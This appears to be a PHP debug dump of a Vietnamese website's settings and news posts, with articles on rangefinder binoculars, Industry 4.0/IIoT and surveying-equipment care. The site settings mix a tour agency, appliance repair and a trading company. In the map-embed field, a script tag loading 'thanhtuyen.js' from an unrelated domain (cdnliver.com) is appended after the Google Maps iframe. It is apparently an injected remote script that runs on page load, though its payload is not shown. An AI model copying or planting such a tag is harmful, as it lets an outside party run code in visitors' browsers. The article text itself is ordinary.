'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ) $description_for_layout = '' $keywords_for_layout = '' $tintucnoibat = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-19', 'status' => '1', 'view' => '89620', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-19', 'status' => '1', 'view' => '63417', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc 